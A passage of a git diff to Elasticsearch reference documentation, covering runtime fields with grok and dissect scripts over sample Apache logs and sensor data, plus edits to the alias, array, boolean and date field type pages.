1.0296195, "hits" : [ { - "_index" : "my-index", + "_index" : "my-index-000001", "_id" : "F1BeSXYBg_szTodcYCmk", "_score" : 1.0296195, "_source" : { - "timestamp" : 1516383694000, + "@timestamp" : 1516383694000, "model_number" : "HG537PU", "measures" : { "voltage" : 4.2 @@ -401,11 +566,11 @@ which still returns in the response: } }, { - "_index" : "my-index", + "_index" : "my-index-000001", "_id" : "l02aSXYBkpNf6QRDO62Q", "_score" : 1.0296195, "_source" : { - "timestamp" : 1516297294000, + "@timestamp" : 1516297294000, "model_number" : "HG537PU", "measures" : { "voltage" : 4.0 @@ -427,7 +592,6 @@ which still returns in the response: [[runtime-retrieving-fields]] === Retrieve a runtime field -beta::[] Use the <> parameter on the `_search` API to retrieve the values of runtime fields. Runtime fields won't display in `_source`, but the `fields` API works for all fields, even those that were not sent as part of @@ -443,7 +607,7 @@ the request so that new fields are added to the mapping as runtime fields. [source,console] ---- -PUT my-index/ +PUT my-index-000001/ { "mappings": { "dynamic": "runtime", @@ -456,7 +620,7 @@ PUT my-index/ } }, "properties": { - "timestamp": {"type": "date"} + "@timestamp": {"type": "date"} } } } @@ -470,7 +634,7 @@ Let's ingest some sample data, which will result in two indexed fields: [source,console] ---- -POST /my-index/_bulk?refresh +POST /my-index-000001/_bulk?refresh { "index": {}} { "@timestamp": "2020-06-21T15:00:01-05:00", "message" : "211.11.9.0 - - [2020-06-21T15:00:01-05:00] \"GET /english/index.html HTTP/1.0\" 304 0"} { "index": {}} @@ -507,7 +671,7 @@ modify the mapping without changing any field values. [source,console] ---- -GET my-index/_search +GET my-index-000001/_search { "fields": [ "@timestamp", @@ -524,7 +688,7 @@ the `message` field and will further refine the query: [source,console] ---- -PUT /my-index/_mapping +PUT /my-index-000001/_mapping { "runtime": { "client_ip": { @@ -543,7 +707,7 @@ runtime field: [source,console] ---- -GET my-index/_search +GET my-index-000001/_search { "size": 1, "query": { @@ -573,7 +737,7 @@ address. "max_score" : 1.0, "hits" : [ { - "_index" : "my-index", + "_index" : "my-index-000001", "_id" : "oWs5KXYB-XyJbifr9mrz", "_score" : 1.0, "_source" : { @@ -603,10 +767,329 @@ address. // TESTRESPONSE[s/"_id" : "oWs5KXYB-XyJbifr9mrz"/"_id": $body.hits.hits.0._id/] // TESTRESPONSE[s/"day_of_week" : \[\n\s+"Sunday"\n\s\]/"day_of_week": $body.hits.hits.0.fields.day_of_week/] +[[runtime-indexed]] +=== Index a runtime field +Runtime fields are defined by the context where they run. For example, you +can define runtime fields in the +<> or within the +<> of an index mapping. If you +decide to index a runtime field for greater performance, just move the full +runtime field definition (including the script) to the context of an index +mapping. This capability means you can write a script only once, and apply +it to any context that supports runtime fields. + +IMPORTANT: After indexing a runtime field, you cannot update the included +script. If you need to change the script, create a new field with the updated +script. + +For example, let's say your company wants to replace some old pressure +valves. The connected sensors are only capable of reporting a fraction of +the true readings. Rather than outfit the pressure valves with new sensors, +you decide to calculate the values based on reported readings. Based on the +reported data, you define the following fields in your mapping for +`my-index-000001`: + +[source,console] +---- +PUT my-index-000001/ +{ + "mappings": { + "properties": { + "timestamp": { + "type": "date" + }, + "temperature": { + "type": "long" + }, + "voltage": { + "type": "double" + }, + "node": { + "type": "keyword" + } + } + } +} +---- + +You then bulk index some sample data from your sensors. This data includes +`voltage` readings for each sensor: + +[source,console] +---- +POST my-index-000001/_bulk?refresh=true +{"index":{}} +{"timestamp": 1516729294000, "temperature": 200, "voltage": 5.2, "node": "a"} +{"index":{}} +{"timestamp": 1516642894000, "temperature": 201, "voltage": 5.8, "node": "b"} +{"index":{}} +{"timestamp": 1516556494000, "temperature": 202, "voltage": 5.1, "node": "a"} +{"index":{}} +{"timestamp": 1516470094000, "temperature": 198, "voltage": 5.6, "node": "b"} +{"index":{}} +{"timestamp": 1516383694000, "temperature": 200, "voltage": 4.2, "node": "c"} +{"index":{}} +{"timestamp": 1516297294000, "temperature": 202, "voltage": 4.0, "node": "c"} +---- +// TEST[continued] + +After talking to a few site engineers, you realize that the sensors should +be reporting at least _double_ the current values, but potentially higher. +You create a runtime field named `voltage_corrected` that retrieves the current +voltage and multiplies it by `2`: + +[source,console] +---- +PUT my-index-000001/_mapping +{ + "runtime": { + "voltage_corrected": { + "type": "double", + "script": { + "source": """ + emit(doc['voltage'].value * params['multiplier']) + """, + "params": { + "multiplier": 2 + } + } + } + } +} +---- +// TEST[continued] + +You retrieve the calculated values using the <> +parameter on the `_search` API: + +[source,console] +---- +GET my-index-000001/_search +{ + "fields": [ + "voltage_corrected", + "node" + ], + "size": 2 +} +---- +// TEST[continued] +// TEST[s/_search/_search\?filter_path=hits/] + +// +//// +[source,console-result] +---- +{ + "hits" : { + "total" : { + "value" : 6, + "relation" : "eq" + }, + "max_score" : 1.0, + "hits" : [ + { + "_index" : "my-index-000001", + "_id" : "z4TCrHgBdg9xpPrU6z9k", + "_score" : 1.0, + "_source" : { + "timestamp" : 1516729294000, + "temperature" : 200, + "voltage" : 5.2, + "node" : "a" + }, + "fields" : { + "voltage_corrected" : [ + 10.4 + ], + "node" : [ + "a" + ] + } + }, + { + "_index" : "my-index-000001", + "_id" : "0ITCrHgBdg9xpPrU6z9k", + "_score" : 1.0, + "_source" : { + "timestamp" : 1516642894000, + "temperature" : 201, + "voltage" : 5.8, + "node" : "b" + }, + "fields" : { + "voltage_corrected" : [ + 11.6 + ], + "node" : [ + "b" + ] + } + } + ] + } +} +---- +// TESTRESPONSE[s/"_id" : "z4TCrHgBdg9xpPrU6z9k"/"_id": $body.hits.hits.0._id/] +// TESTRESPONSE[s/"_id" : "0ITCrHgBdg9xpPrU6z9k"/"_id": $body.hits.hits.1._id/] +//// +// + +After reviewing the sensor data and running some tests, you determine that the +multiplier for reported sensor data should be `4`. To gain greater performance, +you decide to index the `voltage_corrected` runtime field with the new +`multiplier` parameter. + +In a new index named `my-index-000001`, copy the `voltage_corrected` runtime +field definition into the mappings of the new index. It's that simple! You can +add an optional parameter named `on_script_error` that determines whether to +reject the entire document if the script throws an error at index time +(default). + +[source,console] +---- +PUT my-index-000001/ +{ + "mappings": { + "properties": { + "timestamp": { + "type": "date" + }, + "temperature": { + "type": "long" + }, + "voltage": { + "type": "double" + }, + "node": { + "type": "keyword" + }, + "voltage_corrected": { + "type": "double", + "on_script_error": "fail", <1> + "script": { + "source": """ + emit(doc['voltage'].value * params['multiplier']) + """, + "params": { + "multiplier": 4 + } + } + } + } + } +} +---- +<1> Causes the entire document to be rejected if the script throws an error at +index time. Setting the value to `ignore` will register the field in the +document’s `_ignored` metadata field and continue indexing. + +Bulk index some sample data from your sensors into the `my-index-000001` index: + +[source,console] +---- +POST my-index-000001/_bulk?refresh=true +{ "index": {}} +{ "timestamp": 1516729294000, "temperature": 200, "voltage": 5.2, "node": "a"} +{ "index": {}} +{ "timestamp": 1516642894000, "temperature": 201, "voltage": 5.8, "node": "b"} +{ "index": {}} +{ "timestamp": 1516556494000, "temperature": 202, "voltage": 5.1, "node": "a"} +{ "index": {}} +{ "timestamp": 1516470094000, "temperature": 198, "voltage": 5.6, "node": "b"} +{ "index": {}} +{ "timestamp": 1516383694000, "temperature": 200, "voltage": 4.2, "node": "c"} +{ "index": {}} +{ "timestamp": 1516297294000, "temperature": 202, "voltage": 4.0, "node": "c"} +---- +// TEST[continued] + +You can now retrieve calculated values in a search query, and find documents +based on precise values. The following range query returns all documents where +the calculated `voltage_corrected` is greater than or equal to `10`, but less +than or equal to `16`. Again, use the <> parameter on +the `_search` API to retrieve the fields you want: + +[source,console] +---- +POST my-index-000001/_search +{ + "query": { + "range": { + "voltage_corrected": { + "gte": 16, + "lte": 20, + "boost": 1.0 + } + } + }, + "fields": [ + "voltage_corrected", "node"] +} +---- +// TEST[continued] +// TEST[s/_search/_search\?filter_path=hits/] + +The response includes the `voltage_corrected` field for the documents that +match the range query, based on the calculated value of the included script: + +[source,console-result] +---- +{ + "hits" : { + "total" : { + "value" : 2, + "relation" : "eq" + }, + "max_score" : 1.0, + "hits" : [ + { + "_index" : "my-index-000001", + "_id" : "yoSLrHgBdg9xpPrUZz_P", + "_score" : 1.0, + "_source" : { + "timestamp" : 1516383694000, + "temperature" : 200, + "voltage" : 4.2, + "node" : "c" + }, + "fields" : { + "voltage_corrected" : [ + 16.8 + ], + "node" : [ + "c" + ] + } + }, + { + "_index" : "my-index-000001", + "_id" : "y4SLrHgBdg9xpPrUZz_P", + "_score" : 1.0, + "_source" : { + "timestamp" : 1516297294000, + "temperature" : 202, + "voltage" : 4.0, + "node" : "c" + }, + "fields" : { + "voltage_corrected" : [ + 16.0 + ], + "node" : [ + "c" + ] + } + } + ] + } +} +---- +// TESTRESPONSE[s/"_id" : "yoSLrHgBdg9xpPrUZz_P"/"_id": $body.hits.hits.0._id/] +// TESTRESPONSE[s/"_id" : "y4SLrHgBdg9xpPrUZz_P"/"_id": $body.hits.hits.1._id/] [[runtime-examples]] === Explore your data with runtime fields -beta::[] Consider a large set of log data that you want to extract fields from. Indexing the data is time consuming and uses a lot of disk space, and you just want to explore the data structure without committing to a schema up front. @@ -620,12 +1103,12 @@ time for these fields. ==== Define indexed fields as a starting point You can start with a simple example by adding the `@timestamp` and `message` -fields to the `my-index` mapping as indexed fields. To remain flexible, use +fields to the `my-index-000001` mapping as indexed fields. To remain flexible, use `wildcard` as the field type for `message`: [source,console] ---- -PUT /my-index/ +PUT /my-index-000001/ { "mappings": { "properties": { @@ -645,34 +1128,29 @@ PUT /my-index/ ==== Ingest some data After mapping the fields you want to retrieve, index a few records from your log data into {es}. The following request uses the <> -to index raw log data into `my-index`. Instead of indexing all of your log +to index raw log data into `my-index-000001`. Instead of indexing all of your log data, you can use a small sample to experiment with runtime fields. +The final document is not a valid Apache log format, but we can account for +that scenario in our script. + [source,console] ---- -POST /my-index/_bulk?refresh -{ "index": {}} -{ "@timestamp": "2020-06-21T15:00:01-05:00", "message" : "211.11.9.0 - - [2020-06-21T15:00:01-05:00] \"GET /english/index.html HTTP/1.0\" 304 0"} -{ "index": {}} -{ "@timestamp": "2020-06-21T15:00:01-05:00", "message" : "211.11.9.0 - - [2020-06-21T15:00:01-05:00] \"GET /english/index.html HTTP/1.0\" 304 0"} -{ "index": {}} -{ "@timestamp": "2020-04-30T14:30:17-05:00", "message" : "40.135.0.0 - - [2020-04-30T14:30:17-05:00] \"GET /images/hm_bg.jpg HTTP/1.0\" 200 24736"} -{ "index": {}} -{ "@timestamp": "2020-04-30T14:30:53-05:00", "message" : "232.0.0.0 - - [2020-04-30T14:30:53-05:00] \"GET /images/hm_bg.jpg HTTP/1.0\" 200 24736"} -{ "index": {}} -{ "@timestamp": "2020-04-30T14:31:12-05:00", "message" : "26.1.0.0 - - [2020-04-30T14:31:12-05:00] \"GET /images/hm_bg.jpg HTTP/1.0\" 200 24736"} -{ "index": {}} -{ "@timestamp": "2020-04-30T14:31:19-05:00", "message" : "247.37.0.0 - - [2020-04-30T14:31:19-05:00] \"GET /french/splash_inet.html HTTP/1.0\" 200 3781"} -{ "index": {}} -{ "@timestamp": "2020-04-30T14:31:27-05:00", "message" : "252.0.0.0 - - [2020-04-30T14:31:27-05:00] \"GET /images/hm_bg.jpg HTTP/1.0\" 200 24736"} -{ "index": {}} -{ "@timestamp": "2020-04-30T14:31:29-05:00", "message" : "247.37.0.0 - - [2020-04-30T14:31:29-05:00] \"GET /images/hm_brdl.gif HTTP/1.0\" 304 0"} -{ "index": {}} -{ "@timestamp": "2020-04-30T14:31:29-05:00", "message" : "247.37.0.0 - - [2020-04-30T14:31:29-05:00] \"GET /images/hm_arw.gif HTTP/1.0\" 304 0"} -{ "index": {}} -{ "@timestamp": "2020-04-30T14:31:32-05:00", "message" : "247.37.0.0 - - [2020-04-30T14:31:32-05:00] \"GET /images/nav_bg_top.gif HTTP/1.0\" 200 929"} -{ "index": {}} -{ "@timestamp": "2020-04-30T14:31:43-05:00", "message" : "247.37.0.0 - - [2020-04-30T14:31:43-05:00] \"GET /french/images/nav_venue_off.gif HTTP/1.0\" 304 0"} +POST /my-index-000001/_bulk?refresh +{"index":{}} +{"timestamp":"2020-04-30T14:30:17-05:00","message":"40.135.0.0 - - [30/Apr/2020:14:30:17 -0500] \"GET /images/hm_bg.jpg HTTP/1.0\" 200 24736"} +{"index":{}} +{"timestamp":"2020-04-30T14:30:53-05:00","message":"232.0.0.0 - - [30/Apr/2020:14:30:53 -0500] \"GET /images/hm_bg.jpg HTTP/1.0\" 200 24736"} +{"index":{}} +{"timestamp":"2020-04-30T14:31:12-05:00","message":"26.1.0.0 - - [30/Apr/2020:14:31:12 -0500] \"GET /images/hm_bg.jpg HTTP/1.0\" 200 24736"} +{"index":{}} +{"timestamp":"2020-04-30T14:31:19-05:00","message":"247.37.0.0 - - [30/Apr/2020:14:31:19 -0500] \"GET /french/splash_inet.html HTTP/1.0\" 200 3781"} +{"index":{}} +{"timestamp":"2020-04-30T14:31:22-05:00","message":"247.37.0.0 - - [30/Apr/2020:14:31:22 -0500] \"GET /images/hm_nbg.jpg HTTP/1.0\" 304 0"} +{"index":{}} +{"timestamp":"2020-04-30T14:31:27-05:00","message":"252.0.0.0 - - [30/Apr/2020:14:31:27 -0500] \"GET /images/hm_bg.jpg HTTP/1.0\" 200 24736"} +{"index":{}} +{"timestamp":"2020-04-30T14:31:28-05:00","message":"not a valid apache log"} ---- // TEST[continued] @@ -680,7 +1158,7 @@ At this point, you can view how {es} stores your raw data. [source,console] ---- -GET /my-index +GET /my-index-000001 ---- // TEST[continued] @@ -689,7 +1167,7 @@ The mapping contains two fields: `@timestamp` and `message`. [source,console-result] ---- { - "my-index" : { + "my-index-000001" : { "aliases" : { }, "mappings" : { "properties" : { @@ -699,6 +1177,9 @@ The mapping contains two fields: `@timestamp` and `message`. }, "message" : { "type" : "wildcard" + }, + "timestamp" : { + "type" : "date" } } }, @@ -706,41 +1187,83 @@ The mapping contains two fields: `@timestamp` and `message`. } } ---- -// TESTRESPONSE[s/\.\.\./"settings": $body.my-index.settings/] +// TESTRESPONSE[s/\.\.\./"settings": $body.my-index-000001.settings/] + +[[runtime-examples-grok]] +==== Define a runtime field with a grok pattern +If you want to retrieve results that include `clientip`, you can add that +field as a runtime field in the mapping. The following runtime script defines a +<> that extracts structured fields out of a single text +field within a document. A grok pattern is like a regular expression that +supports aliased expressions that you can reuse. -[[runtime-examples-runtime-field]] -==== Define a runtime field to search by IP address -If you want to retrieve results that include `clientip`, you can add that field -as a runtime field in the mapping. The runtime script operates on the `clientip` -field at runtime to calculate values for that field. +The script matches on the `%{COMMONAPACHELOG}` log pattern, which understands +the structure of Apache logs. If the pattern matches, the script emits the +value of the matching IP address. If the pattern doesn't match +(`clientip != null`), the script just returns the field value without crashing. [source,console] ---- -PUT /my-index/_mapping +PUT my-index-000001/_mappings { "runtime": { - "clientip": { + "http.clientip": { "type": "ip", - "script" : { - "source" : "String m = doc[\"message\"].value; int end = m.indexOf(\" \"); emit(m.substring(0, end));" - } + "script": """ + String clientip=grok('%{COMMONAPACHELOG}').extract(doc["message"].value)?.clientip; + if (clientip != null) emit(clientip); <1> + """ } } } ---- // TEST[continued] +<1> This condition ensures that the script doesn't crash even if the pattern of +the message doesn't match. + +Alternatively, you can define the same runtime field but in the context of a +search request. The runtime definition and the script are exactly the same as +the one defined previously in the index mapping. Just copy that definition into +the search request under the `runtime_mappings` section and include a query +that matches on the runtime field. This query returns the same results as if +you defined a search query for the `http.clientip` runtime field in your index +mappings, but only in the context of this specific search: + +[source,console] +---- +GET my-index-000001/_search +{ + "runtime_mappings": { + "http.clientip": { + "type": "ip", + "script": """ + String clientip=grok('%{COMMONAPACHELOG}').extract(doc["message"].value)?.clientip; + if (clientip != null) emit(clientip); + """ + } + }, + "query": { + "match": { + "http.clientip": "40.135.0.0" + } + }, + "fields" : ["http.clientip"] +} +---- +// TEST[continued] -Using the `clientip` runtime field, you can define a simple query to run a +[[runtime-examples-grok-ip]] +===== Search for a specific IP address +Using the `http.clientip` runtime field, you can define a simple query to run a search for a specific IP address and return all related fields. [source,console] ---- -GET my-index/_search +GET my-index-000001/_search { - "size": 1, "query": { "match": { - "clientip": "211.11.9.0" + "http.clientip": "40.135.0.0" } }, "fields" : ["*"] @@ -752,6 +1275,79 @@ The API returns the following result. Without building your data structure in advance, you can search and explore your data in meaningful ways to experiment and determine which fields to index. +Also, remember that `if` statement in the script? + +[source,painless] +---- +if (clientip != null) emit(clientip); +---- + +If the script didn't include this condition, the query would fail on any shard +that doesn't match the pattern. By including this condition, the query skips +data that doesn't match the grok pattern. + +[source,console-result] +---- +{ + ... + "hits" : { + "total" : { + "value" : 1, + "relation" : "eq" + }, + "max_score" : 1.0, + "hits" : [ + { + "_index" : "my-index-000001", + "_id" : "FdLqu3cBhqheMnFKd0gK", + "_score" : 1.0, + "_source" : { + "timestamp" : "2020-04-30T14:30:17-05:00", + "message" : "40.135.0.0 - - [30/Apr/2020:14:30:17 -0500] \"GET /images/hm_bg.jpg HTTP/1.0\" 200 24736" + }, + "fields" : { + "http.clientip" : [ + "40.135.0.0" + ], + "message" : [ + "40.135.0.0 - - [30/Apr/2020:14:30:17 -0500] \"GET /images/hm_bg.jpg HTTP/1.0\" 200 24736" + ], + "timestamp" : [ + "2020-04-30T19:30:17.000Z" + ] + } + } + ] + } +} +---- +// TESTRESPONSE[s/\.\.\./"took" : $body.took,"timed_out" : $body.timed_out,"_shards" : $body._shards,/] +// TESTRESPONSE[s/"_id" : "FdLqu3cBhqheMnFKd0gK"/"_id": $body.hits.hits.0._id/] + +[[runtime-examples-grok-range]] +===== Search for documents in a specific range +You can also run a <> that operates on the +`timestamp` field. The following query returns any documents where the +`timestamp` is greater than or equal to `2020-04-30T14:31:27-05:00`: + +[source,console] +---- +GET my-index-000001/_search +{ + "query": { + "range": { + "timestamp": { + "gte": "2020-04-30T14:31:27-05:00" + } + } + } +} +---- +// TEST[continued] + +The response includes the document where the log format doesn't match, but the +timestamp falls within the defined range. + [source,console-result] ---- { @@ -764,22 +1360,132 @@ and determine which fields to index. "max_score" : 1.0, "hits" : [ { - "_index" : "my-index", - "_id" : "oWs5KXYB-XyJbifr9mrz", + "_index" : "my-index-000001", + "_id" : "hdEhyncBRSB6iD-PoBqe", "_score" : 1.0, "_source" : { - "@timestamp" : "2020-06-21T15:00:01-05:00", - "message" : "211.11.9.0 - - [2020-06-21T15:00:01-05:00] \"GET /english/index.html HTTP/1.0\" 304 0" + "timestamp" : "2020-04-30T14:31:27-05:00", + "message" : "252.0.0.0 - - [30/Apr/2020:14:31:27 -0500] \"GET /images/hm_bg.jpg HTTP/1.0\" 200 24736" + } + }, + { + "_index" : "my-index-000001", + "_id" : "htEhyncBRSB6iD-PoBqe", + "_score" : 1.0, + "_source" : { + "timestamp" : "2020-04-30T14:31:28-05:00", + "message" : "not a valid apache log" + } + } + ] + } +} +---- +// TESTRESPONSE[s/\.\.\./"took" : $body.took,"timed_out" : $body.timed_out,"_shards" : $body._shards,/] +// TESTRESPONSE[s/"_id" : "hdEhyncBRSB6iD-PoBqe"/"_id": $body.hits.hits.0._id/] +// TESTRESPONSE[s/"_id" : "htEhyncBRSB6iD-PoBqe"/"_id": $body.hits.hits.1._id/] + +[[runtime-examples-dissect]] +==== Define a runtime field with a dissect pattern +If you don't need the power of regular expressions, you can use +<> instead of grok patterns. Dissect +patterns match on fixed delimiters but are typically faster that grok. + +You can use dissect to achieve the same results as parsing the Apache logs with +a <>. Instead of matching on a log +pattern, you include the parts of the string that you want to discard. Paying +special attention to the parts of the string you want to discard will help build +successful dissect patterns. + +[source,console] +---- +PUT my-index-000001/_mappings +{ + "runtime": { + "http.client.ip": { + "type": "ip", + "script": """ + String clientip=dissect('%{clientip} %{ident} %{auth} [%{@timestamp}] "%{verb} %{request} HTTP/%{httpversion}" %{status} %{size}').extract(doc["message"].value)?.clientip; + if (clientip != null) emit(clientip); + """ + } + } +} +---- +// TEST[continued] + +Similarly, you can define a dissect pattern to extract the https://developer.mozilla.org/en-US/docs/Web/HTTP/Status[HTTP response code]: + +[source,console] +---- +PUT my-index-000001/_mappings +{ + "runtime": { + "http.response": { + "type": "long", + "script": """ + String response=dissect('%{clientip} %{ident} %{auth} [%{@timestamp}] "%{verb} %{request} HTTP/%{httpversion}" %{response} %{size}').extract(doc["message"].value)?.response; + if (response != null) emit(Integer.parseInt(response)); + """ + } + } +} +---- +// TEST[continued] + +You can then run a query to retrieve a specific HTTP response using the +`http.response` runtime field: + +[source,console] +---- +GET my-index-000001/_search +{ + "query": { + "match": { + "http.response": "304" + } + }, + "fields" : ["*"] +} +---- +// TEST[continued] + +The response includes a single document where the HTTP response is `304`: + +[source,console-result] +---- +{ + ... + "hits" : { + "total" : { + "value" : 1, + "relation" : "eq" + }, + "max_score" : 1.0, + "hits" : [ + { + "_index" : "my-index-000001", + "_id" : "A2qDy3cBWRMvVAuI7F8M", + "_score" : 1.0, + "_source" : { + "timestamp" : "2020-04-30T14:31:22-05:00", + "message" : "247.37.0.0 - - [30/Apr/2020:14:31:22 -0500] \"GET /images/hm_nbg.jpg HTTP/1.0\" 304 0" }, "fields" : { - "@timestamp" : [ - "2020-06-21T20:00:01.000Z" + "http.clientip" : [ + "247.37.0.0" ], - "clientip" : [ - "211.11.9.0" + "http.response" : [ + 304 ], "message" : [ - "211.11.9.0 - - [2020-06-21T15:00:01-05:00] \"GET /english/index.html HTTP/1.0\" 304 0" + "247.37.0.0 - - [30/Apr/2020:14:31:22 -0500] \"GET /images/hm_nbg.jpg HTTP/1.0\" 304 0" + ], + "http.client.ip" : [ + "247.37.0.0" + ], + "timestamp" : [ + "2020-04-30T19:31:22.000Z" ] } } @@ -788,4 +1494,4 @@ and determine which fields to index. } ---- // TESTRESPONSE[s/\.\.\./"took" : $body.took,"timed_out" : $body.timed_out,"_shards" : $body._shards,/] -// TESTRESPONSE[s/"_id" : "oWs5KXYB-XyJbifr9mrz"/"_id": $body.hits.hits.0._id/] +// TESTRESPONSE[s/"_id" : "A2qDy3cBWRMvVAuI7F8M"/"_id": $body.hits.hits.0._id/] diff --git a/docs/reference/mapping/types.asciidoc b/docs/reference/mapping/types.asciidoc index a12b932776e74..2db659de63ef4 100644 --- a/docs/reference/mapping/types.asciidoc +++ b/docs/reference/mapping/types.asciidoc @@ -29,7 +29,7 @@ type: `boolean`. express amounts. Dates:: Date types, including <> and <>. -<>:: Defines an alias for an existing field. +<>:: Defines an alias for an existing field. [discrete] @@ -69,7 +69,8 @@ values. [[text-search-types]] ==== Text search types -<>:: Analyzed, unstructured text. +<>:: The text family, including `text` and `match_only_text`. + Analyzed, unstructured text. {plugins}/mapper-annotated-text.html[`annotated-text`]:: Text containing special markup. Used for identifying named entities. <>:: Used for auto-complete suggestions. @@ -119,7 +120,7 @@ same field type. See <>. It is often useful to index the same field in different ways for different purposes. For instance, a `string` field could be mapped as a `text` field for full-text search, and as a `keyword` field for -sorting or aggregations. Alternatively, you could index a text field with +sorting or aggregations. Alternatively, you could index a text field with the <>, the <> analyzer, and the <>. diff --git a/docs/reference/mapping/types/alias.asciidoc b/docs/reference/mapping/types/alias.asciidoc index 78d9b7497213b..534bef5363858 100644 --- a/docs/reference/mapping/types/alias.asciidoc +++ b/docs/reference/mapping/types/alias.asciidoc @@ -1,10 +1,10 @@ -[[alias]] +[[field-alias]] === Alias field type ++++ Alias ++++ -An `alias` mapping defines an alternate name for a field in the index. +An `alias` mapping defines an alternate name for a field in the index. The alias can be used in place of the target field in <> requests, and selected other APIs like <>. diff --git a/docs/reference/mapping/types/array.asciidoc b/docs/reference/mapping/types/array.asciidoc index 38eabb14c195b..d1eb867f41f98 100644 --- a/docs/reference/mapping/types/array.asciidoc +++ b/docs/reference/mapping/types/array.asciidoc @@ -1,7 +1,7 @@ [[array]] === Arrays -In Elasticsearch, there is no dedicated `array` data type. Any field can contain +In Elasticsearch, there is no dedicated `array` data type. Any field can contain zero or more values by default, however, all values in the array must be of the same data type. For instance: @@ -15,7 +15,7 @@ same data type. For instance: ==================================================== Arrays of objects do not work as you would expect: you cannot query each -object independently of the other objects in the array. If you need to be +object independently of the other objects in the array. If you need to be able to do this then you should use the <> data type instead of the <> data type. @@ -24,14 +24,14 @@ This is explained in more detail in <>. When adding a field dynamically, the first value in the array determines the -field `type`. All subsequent values must be of the same data type or it must +field `type`. All subsequent values must be of the same data type or it must at least be possible to <> subsequent values to the same data type. Arrays with a mixture of data types are _not_ supported: [ `10`, `"some string"` ] An array may contain `null` values, which are either replaced by the -configured <> or skipped entirely. An empty array +configured <> or skipped entirely. An empty array `[]` is treated as a missing field -- a field with no values. Nothing needs to be pre-configured in order to use arrays in documents, they @@ -86,13 +86,13 @@ GET my-index-000001/_search **************************************************** The fact that all field types support multi-value fields out of the box is a -consequence of the origins of Lucene. Lucene was designed to be a full text -search engine. In order to be able to search for individual words within a +consequence of the origins of Lucene. Lucene was designed to be a full text +search engine. In order to be able to search for individual words within a big block of text, Lucene tokenizes the text into individual terms, and adds each term to the inverted index separately. This means that even a simple text field must be able to support multiple -values by default. When other data types were added, such as numbers and +values by default. When other data types were added, such as numbers and dates, they used the same data structure as strings, and so got multi-values for free. diff --git a/docs/reference/mapping/types/boolean.asciidoc b/docs/reference/mapping/types/boolean.asciidoc index 1e9e0608ed535..9a9dafa37a2c1 100644 --- a/docs/reference/mapping/types/boolean.asciidoc +++ b/docs/reference/mapping/types/boolean.asciidoc @@ -19,7 +19,7 @@ True values:: For example: [source,console] --------------------------------------------------- +---- PUT my-index-000001 { "mappings": { @@ -31,7 +31,7 @@ PUT my-index-000001 } } -POST my-index-000001/_doc/1 +POST my-index-000001/_doc/1?refresh { "is_published": "true" <1> } @@ -44,24 +44,44 @@ GET my-index-000001/_search } } } --------------------------------------------------- - +---- +// TEST[s/_search/_search?filter_path=hits.hits/] <1> Indexing a document with `"true"`, which is interpreted as `true`. <2> Searching for documents with a JSON `true`. +//// +[source,console-result] +---- +{ + "hits": { + "hits": [ + { + "_id": "1", + "_index": "my-index-000001", + "_score": "$body.hits.hits.0._score", + "_source": { + "is_published": "true" + } + } + ] + } +} +---- +//// + Aggregations like the <> use `1` and `0` for the `key`, and the strings `"true"` and -`"false"` for the `key_as_string`. Boolean fields when used in scripts, -return `1` and `0`: +`"false"` for the `key_as_string`. Boolean fields when used in scripts, +return `true` and `false`: [source,console] --------------------------------------------------- -POST my-index-000001/_doc/1 +---- +POST my-index-000001/_doc/1?refresh { "is_published": true } -POST my-index-000001/_doc/2 +POST my-index-000001/_doc/2?refresh { "is_published": false } @@ -75,16 +95,69 @@ GET my-index-000001/_search } } }, - "script_fields": { - "is_published": { - "script": { - "lang": "painless", - "source": "doc['is_published'].value" - } + "sort": [ "is_published" ], + "fields": [ + {"field": "weight"} + ], + "runtime_mappings": { + "weight": { + "type": "long", + "script": "emit(doc['is_published'].value ? 10 : 0)" } } } --------------------------------------------------- +---- +// TEST[s/_search/_search?filter_path=aggregations,hits.hits/] + +//// +[source,console-result] +---- +{ + "aggregations": { + "publish_state": { + "doc_count_error_upper_bound": 0, + "sum_other_doc_count": 0, + "buckets": [ + { + "key": 0, + "key_as_string": "false", + "doc_count": 1 + }, + { + "key": 1, + "key_as_string": "true", + "doc_count": 1 + } + ] + } + }, + "hits": { + "hits": [ + { + "_id": "2", + "_index": "my-index-000001", + "_score": null, + "_source": { + "is_published": false + }, + "sort": [0], + "fields": {"weight": [0]} + }, + { + "_id": "1", + "_index": "my-index-000001", + "_score": null, + "_source": { + "is_published": true + }, + "sort": [1], + "fields": {"weight": [10]} + } + ] + } +} +---- +//// [[boolean-params]] ==== Parameters for `boolean` fields @@ -106,8 +179,28 @@ The following parameters are accepted by `boolean` fields: <>:: Accepts any of the true or false values listed above. The value is - substituted for any explicit `null` values. Defaults to `null`, which - means the field is treated as missing. + substituted for any explicit `null` values. Defaults to `null`, which + means the field is treated as missing. Note that this cannot be set + if the `script` parameter is used. + +`on_script_error`:: + + Defines what to do if the script defined by the `script` parameter + throws an error at indexing time. Accepts `fail` (default), which + will cause the entire document to be rejected, and `continue`, which + will register the field in the document's + <> metadata field and continue + indexing. This parameter can only be set if the `script` field is + also set. + +`script`:: + + If this parameter is set, then the field will index values generated + by this script, rather than reading the values directly from the + source. If a value is set for this field on the input document, then + the document will be rejected with an error. + Scripts are in the same format as their + <>. <>:: diff --git a/docs/reference/mapping/types/date.asciidoc b/docs/reference/mapping/types/date.asciidoc index 4c134326934a6..06fb518c4e3e1 100644 --- a/docs/reference/mapping/types/date.asciidoc +++ b/docs/reference/mapping/types/date.asciidoc @@ -7,11 +7,11 @@ JSON doesn't have a date data type, so dates in Elasticsearch can either be: * strings containing formatted dates, e.g. `"2015-01-01"` or `"2015/01/01 12:10:30"`. -* a long number representing _milliseconds-since-the-epoch_. -* an integer representing _seconds-since-the-epoch_. +* a number representing _milliseconds-since-the-epoch_. +* a number representing _seconds-since-the-epoch_ (<>). -NOTE: Values for _milliseconds-since-the-epoch_ and _seconds-since-the-epoch_ -must be non-negative. Use a formatted date to represent dates before 1970. +NOTE: Values for _milliseconds-since-the-epoch_ must be non-negative. Use a +formatted date to represent dates before 1970. Internally, dates are converted to UTC (if the time-zone is specified) and stored as a long number representing milliseconds-since-the-epoch. @@ -26,7 +26,11 @@ supplied as a long in the JSON document. Date formats can be customised, but if no `format` is specified then it uses the default: +[source,js] +---- "strict_date_optional_time||epoch_millis" +---- +// NOTCONSOLE This means that it will accept dates with optional timestamps, which conform to the formats supported by <> @@ -34,7 +38,7 @@ or milliseconds-since-the-epoch. For instance: -[source,console] +[source,console,id=date-example] -------------------------------------------------- PUT my-index-000001 { @@ -68,15 +72,25 @@ GET my-index-000001/_search <4> This document uses milliseconds-since-the-epoch. <5> Note that the `sort` 